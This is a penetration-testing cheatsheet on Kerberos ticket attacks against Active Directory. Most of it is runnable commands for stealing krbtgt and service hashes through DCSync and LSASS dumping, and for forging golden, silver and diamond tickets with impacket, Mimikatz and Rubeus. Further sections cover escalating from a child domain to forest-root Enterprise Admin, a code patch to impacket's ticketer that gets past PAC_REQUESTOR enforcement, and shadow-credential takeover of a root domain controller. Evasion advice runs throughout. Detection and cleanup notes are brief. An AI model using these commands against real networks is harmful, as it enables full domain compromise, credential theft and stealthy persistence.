Kerberos Ticket Attacks Cheatsheet¶
Overview¶
Understanding Kerberos Ticket Attacks
Golden Tickets and Silver Tickets are forged Kerberos tickets that provide persistence and stealth:
- Golden Ticket: Forged TGT (Ticket Granting Ticket) using krbtgt hash
- Valid for 10 years by default
- Works for any service in the domain
-
Survives password changes (except krbtgt)
-
Silver Ticket: Forged TGS (Ticket Granting Service) using service account hash
- Valid for specific service only
- More stealthy (no DC communication)
- Requires target service hash
Prerequisites & Requirements¶
Required Information for Ticket Forging
| Attack Type | Required Data | How to Obtain |
|---|---|---|
| Golden Ticket | krbtgt NTLM hash | DCSync, NTDS dump, Mimikatz on DC |
| Golden Ticket | Domain SID | whoami /user, PowerView, lookupsid |
| Golden Ticket | Domain name | Environment variable, AD enumeration |
| Silver Ticket | Service account hash | Kerberoasting, NTDS, local extraction |
| Silver Ticket | Domain SID | Same as Golden Ticket |
| Silver Ticket | Target SPN | Service enumeration, setspn -L |
Golden Ticket Attacks¶
Obtaining Prerequisites¶
Get Domain SID
# Linux - Using lookupsid
impacket-lookupsid <domain>/<user>:'<password>'@<dc-ip> -domain-sids
# Look for: Domain SID is: S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX
# Linux - Using rpcclient
rpcclient -U '<domain>/<user>%<password>' <dc-ip> -c "lsaquery"
# Windows - PowerShell
whoami /user
# Extract SID minus the last segment (RID)
# Windows - PowerView
Import-Module .\PowerView.ps1
Get-DomainSID
# Windows - Native AD Module
(Get-ADDomain).DomainSID.Value
Get krbtgt Hash
# Linux - DCSync
impacket-secretsdump -just-dc-user krbtgt <domain>/<user>:'<password>'@<dc-ip>
# Linux - NTDS dump
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
# Windows - Mimikatz DCSync
mimikatz.exe "lsadump::dcsync /domain:<domain> /user:krbtgt" exit
# Windows - From LSASS (on DC)
mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" exit
Forging Golden Tickets¶
Linux - Golden Ticket Creation
# Create Golden Ticket (TGT)
impacket-ticketer \
-nthash <krbtgt-ntlm-hash> \
-domain-sid <domain-sid> \
-domain <domain.local> \
Administrator
# Full example with all options
impacket-ticketer \
-nthash c0231bd8a4a4de92fca0760c0ba9e7a6 \
-domain-sid S-1-5-21-1870146311-1183348186-593267556 \
-domain inlanefreight.local \
-user-id 500 \
-groups 512,513,514,515,516,517,518,519,520 \
-duration 3650 \
Administrator
# Output: Administrator.ccache
Windows - Golden Ticket Creation with Mimikatz
# Method 1: Create and inject into current session (PTT)
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<krbtgt-hash> /user:Administrator /ptt" exit
# Method 2: Create and save to file
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<krbtgt-hash> /user:Administrator /ticket:golden.kirbi" exit
# Full example with all parameters
mimikatz.exe "kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /user:Administrator /id:500 /groups:512,513,514,515,516,517,518,519,520 /ptt" exit
# With AES keys (more stealthy)
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /aes256:<krbtgt-aes256> /user:Administrator /ptt" exit
Using Golden Tickets¶
Linux - Using Golden Tickets
# Set the ticket for use
export KRB5CCNAME=./Administrator.ccache
# Verify ticket
klist
# Access services
impacket-psexec -k -no-pass <target>.<domain>
impacket-smbclient -k -no-pass <target>.<domain>
impacket-wmiexec -k -no-pass <target>.<domain>
impacket-secretsdump -k -no-pass <target>.<domain>
# Access shares
smbclient //<target>.<domain>/C$ -k -no-pass
# Note: Use FQDN for Kerberos auth (-k flag)
Windows - Using Golden Tickets
# Verify ticket injection
klist
# Access remote systems
dir \\<target>\c$
# PsExec with current ticket
PsExec.exe -accepteula \\<target> cmd
# Enter remote session
Enter-PSSession -ComputerName <target>
# Using Rubeus for ticket management
Rubeus.exe ptt /ticket:golden.kirbi
Silver Ticket Attacks¶
Understanding Silver Tickets¶
Silver Ticket Characteristics
- Target specific services (CIFS, HOST, HTTP, MSSQL, etc.)
- Don't touch the DC after creation (stealthier)
- Limited to single service on single machine
- Common services:
- CIFS: File system access
- HOST: WMI, PsExec, scheduled tasks
- HTTP: Web services, PowerShell Remoting
- LDAP: Directory queries
- MSSQL: Database access
Forging Silver Tickets¶
Linux - Silver Ticket Creation
# Create Silver Ticket for specific service
impacket-ticketer \
-nthash <service-account-hash> \
-domain-sid <domain-sid> \
-domain <domain.local> \
-spn <service>/<target>.<domain> \
Administrator
# Example: CIFS service (file access)
impacket-ticketer \
-nthash 542780725df68d3456a0672f59001987 \
-domain-sid S-1-5-21-1870146311-1183348186-593267556 \
-domain inlanefreight.local \
-spn cifs/sql01.inlanefreight.local \
Administrator
# Example: Multiple services
# HOST for WMI/PsExec
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn host/<target> Administrator
# HTTP for PowerShell Remoting
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn http/<target> Administrator
Windows - Silver Ticket Creation with Mimikatz
# Create and inject Silver Ticket
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<service-hash> /user:Administrator /target:<target>.<domain> /service:<service> /ptt" exit
# Example: CIFS Silver Ticket
mimikatz.exe "kerberos::golden /domain:inlanefreight.local /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:027c6604526b7b16a22e320b76e54a5b /target:sql01.inlanefreight.local /service:cifs /user:Administrator /ptt" exit
# Create file for later use
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<service-hash> /target:<target> /service:<service> /user:Administrator /ticket:silver.kirbi" exit
# Multiple services in one ticket
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<domain-sid> /rc4:<computer-hash> /target:<target> /service:cifs,host /user:Administrator /ptt" exit
Pass-the-Ticket (PTT) Techniques¶
Extracting Existing Tickets¶
Windows - Ticket Extraction
# List all tickets in memory
Rubeus.exe triage
# Dump specific ticket by LUID
Rubeus.exe dump /luid:0x89275d /nowrap
# Dump specific service ticket
Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap
# Export with Mimikatz
mimikatz.exe "sekurlsa::tickets /export" exit
# List current session tickets
klist
Linux - Ticket Extraction
# From ccache files
export KRB5CCNAME=/tmp/krb5cc_1000
klist
# Convert between formats
impacket-ticketConverter silver.kirbi silver.ccache
impacket-ticketConverter golden.ccache golden.kirbi
Using Extracted/Forged Tickets¶
Windows - Pass-the-Ticket
# Method 1: Rubeus PTT
Rubeus.exe ptt /ticket:<base64-ticket>
Rubeus.exe ptt /ticket:silver.kirbi
# Method 2: Mimikatz PTT
mimikatz.exe "kerberos::ptt silver.kirbi" exit
# Method 3: Rubeus with sacrificial process
Rubeus.exe createnetonly /program:cmd.exe /show
# Note the ProcessID and LUID
Rubeus.exe ptt /ticket:silver.kirbi /luid:0x798c2c
# Verify ticket loaded
klist
Linux - Pass-the-Ticket
# Set environment variable
export KRB5CCNAME=./Administrator.ccache
# Or specify full path
export KRB5CCNAME=/tmp/admin_ticket.ccache
# Use with Impacket tools
impacket-psexec -k -no-pass <target>
impacket-smbclient -k -no-pass <target>
# Use with native tools
smbclient -k //<target>/C$
rpcclient -k <target>
Sacrificial Processes¶
Critical: Avoiding Service Disruption
Never overwrite SYSTEM or service tickets! Always use sacrificial processes:
# Create sacrificial process with Rubeus
Rubeus.exe createnetonly /program:cmd.exe /show
# Output: ProcessID: 4960, LUID: 0x798c2c
# Pass ticket to specific LUID
Rubeus.exe ptt /ticket:ticket.kirbi /luid:0x798c2c
# Or with Mimikatz (creates new logon session)
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:<domain> /rc4:<hash> /run:cmd.exe" exit
Common Attack Scenarios¶
Scenario 1: Domain Compromise with Golden Ticket
# 1. Get domain SID
impacket-lookupsid <domain>/<user>:'<password>'@<dc-ip> -domain-sids
# 2. DCSync for krbtgt
impacket-secretsdump -just-dc-user krbtgt <domain>/<user>:'<password>'@<dc-ip>
# 3. Create Golden Ticket
impacket-ticketer -nthash <krbtgt-hash> -domain-sid <sid> -domain <domain> Administrator
# 4. Use ticket
export KRB5CCNAME=./Administrator.ccache
impacket-psexec -k -no-pass <dc>.<domain>
Scenario 2: Service-Specific Access with Silver Ticket
# 1. Get computer account hash (from local SAM/LSA)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# 2. Get domain SID
Get-DomainSID
# 3. Create Silver Ticket for CIFS
mimikatz.exe "kerberos::golden /domain:<domain> /sid:<sid> /rc4:<computer-hash> /target:<target> /service:cifs /user:Administrator /ptt" exit
# 4. Access file system
dir \\<target>\c$
Scenario 3: Ticket Renewal for Persistence
# Extract current TGT
Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap
# Renew ticket (extends validity)
Rubeus.exe renew /ticket:<base64-ticket> /ptt
# Monitor ticket lifetime
Rubeus.exe triage
Quick Reference Matrix¶
Ticket Attack Decision Matrix
| Attack Type | Use Case | Required Hash | Stealth Level | Persistence |
|---|---|---|---|---|
| Golden Ticket | Full domain access | krbtgt | Medium | 10 years |
| Silver Ticket | Single service | Service/Computer | High | 7 days |
| Bronze Bit | S4U2self abuse | Service account | High | Session |
| Diamond Ticket | TGT modification | krbtgt | Very High | Variable |
| Sapphire Ticket | S4U2proxy chains | Multiple | High | Session |
OPSEC Considerations¶
Detection & Monitoring
Golden Ticket Indicators:
- Event 4768: TGT requested (but not for Golden Tickets)
- Event 4769: Service ticket requested with suspicious TGT
- Tickets with 10-year lifetime
- Tickets for non-existent users
- PAC validation failures
Silver Ticket Indicators:
- Event 4769: Absent (no TGS request)
- Direct service access without TGT
- Service tickets with unusual properties
Mitigation Detection:
- Regular krbtgt password rotation (kills Golden Tickets)
- Service account password changes (kills Silver Tickets)
- PAC validation enabled
- Kerberos ticket anomaly detection
Troubleshooting¶
Common Issues & Solutions
| Issue | Solution |
|---|---|
| "Clock skew too great" | Sync time with DC: ntpdate <dc-ip> |
| "KDC_ERR_C_PRINCIPAL_UNKNOWN" | Use FQDN, not IP |
| "KRB5KDC_ERR_PREAUTH_REQUIRED" | Wrong hash or ticket expired |
| "Access Denied" with ticket | Wrong service type in Silver Ticket |
| Ticket not working | Check LUID, use sacrificial process |
| "The ticket lifetime is too short" | Renew or recreate ticket |
Best Practices¶
Engagement Guidelines
- Always use sacrificial processes to avoid service disruption
- Document all ticket creation for cleanup
- Monitor ticket lifetime and renew as needed
- Use Silver Tickets when possible (stealthier)
- Rotate between techniques to avoid pattern detection
- Clean up tickets after use:
klist purge - Test in lab first to understand behavior
- Use AES keys over RC4 when available (modern environments)
Kerberos Ticket Forging β Golden / Diamond / Cross-Domain ExtraSID (+ PAC_REQUESTOR) β Cheatsheet¶
Purpose: Forge Kerberos tickets once you already hold the right key (krbtgt / service / machine), and escalate a child-domain krbtgt into forest-root (Enterprise Admin) access via ExtraSID β including the modern PAC_REQUESTOR wall that silently kills stock golden/diamond tickets against patched KDCs, and the impacket fix that beats it.
Prereqs / context: Crack-free. You already hold the keys (krbtgt NT+AES via DCSync/secretsdump, or a service/machine NT hash via PtH). Linux-first: domain-joined box, impacket/certipy/bloodyAD, kinit -k from /etc/krb5.keytab, ccaches via KRB5CCNAME. A SYSTEM-context Windows foothold (<FOOTHOLD>) in the child domain is what makes cross-realm referral chasing trivial (Windows does it natively; impacket does not).
0. Recon β get the SIDs you need¶
lookupsid.py '<CHILD>/<USER>:<USER_PW>@<CHILD_DC_IP>' # child domain SID (S-1-5-21-...) + RIDs; first line "Domain SID is:" = <DOMAIN_SID>
lookupsid.py '<CHILD>/<USER>:<USER_PW>@<ROOT_DC_IP>' # run against a forest-root DC to harvest the ROOT/<FOREST_ROOT_SID>
lookupsid.py -k -no-pass '<CHILD>/<USER>@<CHILD_DC_FQDN>' # same, Kerberos auth (needs KRB5CCNAME set + DNS/realm resolving)
ExtraSID values worth knowing: <FOREST_ROOT_SID>-519 = Enterprise Admins, <FOREST_ROOT_SID>-512 = (root) Domain Admins, S-1-5-9 = Enterprise Domain Controllers.
1. Golden ticket (krbtgt key, same realm)¶
ticketer.py -nthash <CHILD_KRBTGT_NT> -domain-sid <DOMAIN_SID> -domain <CHILD> <ADMIN> # forge TGT as <ADMIN> using krbtgt NT hash (offline, no KDC contact)
ticketer.py -aesKey <CHILD_KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain <CHILD> <ADMIN> # same, AES256 β prefer this (no RC4 downgrade tell)
export KRB5CCNAME=$(pwd)/<ADMIN>.ccache # load the forged ccache
secretsdump.py -k -no-pass -just-dc-user '<CHILD>\krbtgt' '<CHILD>/<ADMIN>@<CHILD_DC_FQDN>' -dc-ip <CHILD_DC_IP> -target-ip <CHILD_DC_IP> # prove it: intra-realm DCSync works because the same KDC re-signs the PAC with the krbtgt key you hold
Intra-realm golden always "works" against your own KDC β that is NOT proof it survives a cross-realm referral (see Β§4 / gotchas).
ticketer.pydefaults to a ~10-year lifetime; override for OPSEC (-duration).
2. Silver ticket (service account key, zero KDC contact)¶
ticketer.py -nthash <SVC_NT> -domain-sid <DOMAIN_SID> -domain <CHILD> -spn cifs/<TARGET_FQDN> <ADMIN> # forge a SERVICE ticket (cifs) signed with the service acct hash β never touches a DC
ticketer.py -aesKey <SVC_AES> -domain-sid <DOMAIN_SID> -domain <CHILD> -spn host/<TARGET_FQDN> <ADMIN> # host/ for SCM/WMI/PsExec-class access
export KRB5CCNAME=$(pwd)/<ADMIN>.ccache; psexec.py -k -no-pass <TARGET_FQDN> # use the forged ST directly against the one service
Silver = forged ST only, scoped to that one SPN/host. No PAC_REQUESTOR problem (no referral). The catch: a service-account hash forges access only to that account's services.
3. Diamond ticket (modify a REAL TGT β survives PAC_REQUESTOR)¶
Diamond requests a genuine TGT from the KDC, decrypts it with the krbtgt key, edits the PAC (adds your ExtraSID), and re-signs β so the KDC-issued PAC buffers (incl. signatures and, when done right, PAC_REQUESTOR) are preserved. Three different keys are required β getting these crossed is the #1 diamond failure:
-hashes ':<TARGET_NT>'= the account you're pre-authing as (machine/user) β used to pull the real TGT.-nthash <CHILD_KRBTGT_NT>= krbtgt NT β PAC re-signing.-aesKey <CHILD_KRBTGT_AES256>= krbtgt AES256 β decrypt/re-encrypt the ticket.
ticketer.py -request -domain <CHILD> -domain-sid <DOMAIN_SID> -user '<TARGET>$' -hashes ':<TARGET_NT>' -nthash <CHILD_KRBTGT_NT> -aesKey <CHILD_KRBTGT_AES256> -extra-sid <FOREST_ROOT_SID>-519 -dc-ip <CHILD_DC_IP> '<TARGET>$' # diamond TGT: real PAC + injected EA ExtraSID
Stock impacket prints only PAC_LOGON_INFO + PAC_CLIENT_INFO_TYPE here β it rebuilds the PAC from scratch and drops PAC_REQUESTOR, so it dies on a patched KDC exactly like golden. See Β§4.3 for the patch that makes it print Preserved original PAC_REQUESTOR from KDC. (The -impersonate "sapphire" path preserves PAC_REQUESTOR correctly via S4U2self; the plain diamond path does not.)
4. Cross-domain ExtraSID escalation (child β forest root)¶
Goal: a child-domain TGT carrying <FOREST_ROOT_SID>-519 that the root KDC honors on referral β Enterprise Admin over the whole forest. The domain is not the boundary; the forest is.
4.1 The naive golden+ExtraSID (and why it stalls)¶
ticketer.py -aesKey <CHILD_KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain <CHILD> -extra-sid S-1-5-9 -extra-sid <FOREST_ROOT_SID>-519 forestproof # golden TGT + EA ExtraSID, fresh fake principal to avoid ccache contamination
From Linux this hits KDC_ERR_WRONG_REALM (impacket can only take one -dc-ip, can't chase the referral) or, if you force the chase, KRB_AP_ERR_MODIFIED (RC4 inter-realm trust session key). Injected on Windows it injects fine but the referral gets 0x520 and the TGT is purged β KB5020009 PAC_REQUESTOR enforcement. None of these are SID filtering.
4.2 The winning chain: patched-diamond + Windows-native referral¶
1) Build the diamond with a real child machine account as client and the EA ExtraSID, using the patched ticketer (Β§4.3):
ticketer.py -request -domain <CHILD> -domain-sid <DOMAIN_SID> -user '<TARGET>$' -hashes ':<TARGET_NT>' -nthash <CHILD_KRBTGT_NT> -aesKey <CHILD_KRBTGT_AES256> -extra-sid <FOREST_ROOT_SID>-519 -dc-ip <CHILD_DC_IP> '<TARGET>$' # expect: "Preserved original PAC_ATTRIBUTES/PAC_REQUESTOR from KDC"
ticketConverter.py '<TARGET>$.ccache' diamond.kirbi # ccache then kirbi for LSA injection
2) Upload diamond.kirbi to a SYSTEM-context, child-joined <FOOTHOLD> and inject via LSA, then let Windows chase the cross-realm referral (it handles RC4 trusts and one-vs-many DCs natively where impacket can't):
# inject the kirbi with LsaRegisterLogonProcess (SYSTEM) + KerbSubmitTicketMessage (type 21) β see notes; NOT LsaConnectUntrusted
klist.exe get cifs/<ROOT_DC_FQDN> # triggers native referral child-krbtgt then krbtgt/<PARENT> then cifs ST @ <PARENT>, full AES256
dir \\<ROOT_DC_FQDN>\c$ # EA access to forest-root DC proven (C$ listing)
4.3 The PAC_REQUESTOR patch for impacket ticketer.py¶
Stock diamond mode calls createBasicPac() which fabricates a fresh PAC (no PAC_REQUESTOR/type-18, no PAC_ATTRIBUTES/type-17). Add _extractOriginalPacFields() (decrypts the real TGT enc-part with the krbtgt key, walks PAC buffers, lifts types 17/18) and overwrite after createBasicPac():
if self.__options.request is True and not self.__options.impersonate:
originalPacFields = self._extractOriginalPacFields(kdcRep)
if PAC_REQUESTOR_INFO in originalPacFields:
pacInfos[PAC_REQUESTOR_INFO] = originalPacFields[PAC_REQUESTOR_INFO] # preserve KDC-issued requestor (SID must match the client principal)
if PAC_ATTRIBUTES_INFO in originalPacFields:
pacInfos[PAC_ATTRIBUTES_INFO] = originalPacFields[PAC_ATTRIBUTES_INFO]
cp ticketer_patched.py ~/.local/bin/ticketer.py # deploy; re-run Β§4.2 step 1 and confirm the "Preserved original PAC_REQUESTOR" lines
4.4 raiseChild.py (automates child β parent β when you can SMB the child DC)¶
raiseChild.py '<CHILD>/<CHILD_DC>$' -hashes :<CHILD_DC_NT> -dc-ip <CHILD_DC_IP> # DCSyncs child krbtgt + trust key, mints the ExtraSID TGT, pops the root DC end-to-end
raiseChild.py -target-exec <ROOT_DC_FQDN> '<CHILD>/<ADMIN>:<USER_PW>' # same, then drop a psexec on the root DC
Caveat from this engagement: raiseChild.py SMBs into the child DC to DCSync from scratch β it cannot bootstrap from a forged golden ticket (STATUS_ACCESS_DENIED). Feed it a real credential/hash that can DCSync, not a forged TGT.
4.5 Bypass the cross-realm entirely: shadow-cred on the root DC β PKINIT¶
If the trust is RC4 and Linux DCSync keeps failing, use your new EA write access (from Β§4.2 on <FOOTHOLD>) to drop a shadow credential on the root DC object, then PKINIT directly into the root realm β no referral involved:
python3 gen_shadow_cred.py "CN=<ROOT_DC>,OU=Domain Controllers,DC=<PARENT_DN>" rootdc # offline: RSA keypair + DN-Binary KeyCredentialLink blob + rootdc.pfx
$de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://<ROOT_DC_FQDN>/CN=<ROOT_DC>,OU=Domain Controllers,DC=<PARENT_DN>"); $de.Properties["msDS-KeyCredentialLink"].Add((Get-Content -Raw C:\Users\Public\rootdc_blob.txt).Trim()); $de.CommitChanges() # write the keycred from the EA Kerberos context on <FOOTHOLD>
openssl pkcs12 -in rootdc.pfx -out rootdc.pem -nodes -passin pass:shadow; openssl pkcs12 -export -in rootdc.pem -out rootdc_nopass.pfx -passout pass: # strip pfx password (certipy 4.8.2 has no -pfx-pass)
certipy auth -pfx rootdc_nopass.pfx -dc-ip <ROOT_DC_IP> -domain <PARENT> -username '<ROOT_DC>$' # PKINIT into <PARENT>: TGT + NT hash for the root DC machine account
secretsdump.py -hashes ':<ROOT_DC_NT>' -just-dc-user '<PARENT>\krbtgt' -target-ip <ROOT_DC_IP> '<PARENT>/<ROOT_DC>$@<ROOT_DC_FQDN>' # PtH DCSync then forest-root krbtgt (PtH avoids the RC4-ccache KRB_AP_ERR_MODIFIED)
What Went Wrong¶
| Symptom / error | Real cause | Fix |
|---|---|---|
KDC_ERR_WRONG_REALM on cross-realm DCSync |
Stale RC4 referral ticket left in the ccache (ticketer "Updated" instead of fresh) β impacket grabbed the wrong ticket |
Forge into a fresh, uniquely-named principal/ccache; verify with klist/describeTicket.py |
KDC_ERR_WRONG_REALM when chasing referral from Linux |
impacket takes one -dc-ip and can't follow a cross-realm referral |
Chase manually (2-step getKerberosTGS script), or inject on Windows and let LSA chase it |
KRB_AP_ERR_MODIFIED after manual trust-key forge |
Inter-realm trust key mismatch (current vs previous after rotation) | Don't forge with the trust key; use child krbtgt + ExtraSID and let the child DC mint the referral |
KRB_AP_ERR_MODIFIED on a chased referral ST |
Inter-realm trust is RC4; chased ST has an arcfour-hmac session key the root service rejects |
Inject on Windows (AES end-to-end) or pivot via shadow-credβPKINIT (Β§4.5) |
KRB_AP_ERR_MODIFIED on S4U2self from a getTGT -hashes ccache |
getTGT -hashes asks AS-REQ with RC4 only β RC4-keyed PA-FOR-USER checksum rejected by a patched DC |
Get an AES TGT via PKINIT (cert/shadow-cred), then S4U2self |
SPN like krbtgt/<PARENT>\@<CHILD>@<CHILD> |
-spn 'krbtgt/<PARENT>@<CHILD>' β the @realm got escaped into the SPN |
Pass -spn krbtgt/<PARENT> with no realm suffix |
Windows: ticket injects, then 0x520 / 0x8009030e "No credentials" and TGT purged |
KB5008380/KB5020009 PAC_REQUESTOR validation on cross-realm TGS-REQ; stock ticketer builds only PAC_LOGON_INFO+PAC_CLIENT_INFO_TYPE |
Patched diamond preserving PAC_REQUESTOR (Β§4.3); using a real account name alone does not fix it |
raiseChild.py β STATUS_ACCESS_DENIED |
It SMB-DCSyncs the child DC from scratch; can't bootstrap from a forged ticket | Feed it a real DCSync-capable hash/cred |
Windows inject: Status: 0 but klist shows 0 tickets |
LsaConnectUntrusted silently drops TGT submissions |
Use LsaRegisterLogonProcess (needs SYSTEM) for a trusted LSA connection |
PowerShell injector throws on [ulong] / [Marshal] |
Type names not resolvable | Use [UInt64] and [System.Runtime.InteropServices.Marshal] |
KRB_AP_ERR_MODIFIED right after PKINIT DCSync |
Trailing typo RB5CCNAME / RC4 ccache |
Export KRB5CCNAME correctly, or just PtH with the recovered NT hash |
Detection / OPSEC¶
- Prefer diamond over golden where detection matters. Golden tickets with absurd lifetimes, nonexistent client principals, or missing PAC buffers are heavily flagged; diamond inherits a real KDC-issued PAC (incl. PAC_REQUESTOR) and a real account, so it blends. Override ticketer's ~10-year default to a realistic lifetime.
- Use a real account name as the client principal and match the PAC SID to the requestor β a TGT for a principal that doesn't exist in AD is a tell (and gets rejected on patched KDCs anyway).
- Keep the chain AES-256 end-to-end. RC4 (
arcfour-hmac) session keys both stand out (4769 etype 0x17 anomaly) and break cross-realm here. - An ExtraSID
-519appearing in a cross-realm TGS, or a child machine account suddenly touching the root DC'sC$, is the high-signal forest-escalation event β expect 4768/4769 correlation. - LSA injection via
LsaRegisterLogonProcess+KerbSubmitTicketMessage(pure P/Invoke) avoids Rubeus/mimikatz on-disk and named signatures, but ticket-injection behavior is still detectable; minimize dwell.
Cleanup¶
- Rotate
krbtgttwice in BOTH the child and the forest root (invalidates every golden/diamond minted with those keys). - Remove shadow credentials you wrote: clear
msDS-KeyCredentialLinkon the root DC object (and any child DC / computer objects used as the bypass) β$de.Properties["msDS-KeyCredentialLink"].Clear(); $de.CommitChanges(). - Delete
.ccache/.kirbi/.pfx/.pem/blob artifacts on the attacker box and<FOOTHOLD>(C:\Users\Public\);klist.exe purgethe SYSTEM session on<FOOTHOLD>. - Revoke any certificates issued via the PKINIT/shadow-cred bypass (golden-certificate persistence risk).
- Restore the patched
ticketer.py(or note it) and any accounts whose password/hash you altered during U2U/diamond setup.
References¶
- impacket β
ticketer.py,raiseChild.py,lookupsid.py,secretsdump.py,ticketConverter.py,getTGT.py(fortra/impacket, GitHub) - The Hacker Recipes β Golden / Silver / Diamond / Sapphire tickets; "Forest" / SID-history & ExtraSID escalation (thehacker.recipes)
- dirkjanm β "Active Directory forest trusts" part 1 & 2 (dirkjanm.io) β the single-
-dc-ipreferral limitation and child-DC-mints-referral approach - Charlie Clark / Semperis β Diamond & Sapphire ticket internals (PAC preservation vs. fabrication)
- Microsoft β KB5008380 (PAC signature) and KB5020009 (full PAC_REQUESTOR enforcement, Oct 2022)
- SpecterOps β Shadow Credentials /
msDS-KeyCredentialLink(Whisker / pyWhisker); certipyshadow+auth(ly4k/Certipy)